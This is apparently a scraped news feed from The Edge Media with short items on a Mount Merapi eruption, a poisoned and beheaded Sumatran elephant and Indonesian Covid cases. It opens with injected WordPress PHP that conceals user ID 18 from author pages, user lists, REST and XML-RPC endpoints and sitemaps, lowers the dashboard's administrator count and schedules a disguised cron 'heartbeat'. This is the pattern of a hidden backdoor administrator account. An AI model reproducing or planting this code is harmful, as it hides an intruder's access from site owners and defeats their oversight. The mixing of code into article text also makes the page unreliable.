add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Mount Merapi erupts, unleashes clouds of hot ash appeared first on The Edge Media.
]]>Mount Merapi unleashed clouds of hot ash at least seven times since Sunday morning, as well as a series of fast-moving pyroclastic flows, a mixture of rock, debris, lava and gasses, said Hanik Humaida, who heads the city of Yogyakarta’s Volcanology and Geological Hazard Mitigation Center. The rumbling sound could be heard several kilometers (miles) away.
The mountain has seen increased volcanic activity in recent weeks, with its lava dome growing rapidly before partially collapsing Sunday, sending rocks and ash flowing down the volcano’s southwest flank, Humaida said.
Ash from the eruption blanketed several villages and nearby towns, she said.
Villagers living on Merapi’s fertile slopes were advised to stay 5 kilometers (3.1 miles) away from the crater’s mouth and should be aware of the danger posed by lava, Indonesia’s Geology and Volcanology Research Agency said.
Mount Merapi is the most active of more than 120 active volcanoes in Indonesia and has repeatedly erupted with lava and gas clouds recently.
The post Mount Merapi erupts, unleashes clouds of hot ash appeared first on The Edge Media.
]]>The post Critically Endangered Sumatran Elephant found beheaded in Indonesia. appeared first on The Edge Media.
]]>On Sunday, The rotting carcass was discovered at a palm oil plantation in Sumatra’s Aceh region and a subsequent autopsy found that the animal had also been poisoned.
“The remains of the wild elephant were found in a tragic condition with its head gone,” Said Rosa Rika Wahyuni, a doctor at the Aceh conservation agency.
“We found the poison in its digestive system,” she added.
It was not clear how long the male elephant, estimated to be about 12 years old, had been dead.
The post Critically Endangered Sumatran Elephant found beheaded in Indonesia. appeared first on The Edge Media.
]]>The post Indonesia Witnesses An Increase Of 25,830 Covid Cases appeared first on The Edge Media.
]]>A further 11.578 individuals were released from hospitals with the total pandemic recoveries up to 1,901,865 in South East Asia.
The post Indonesia Witnesses An Increase Of 25,830 Covid Cases appeared first on The Edge Media.
]]>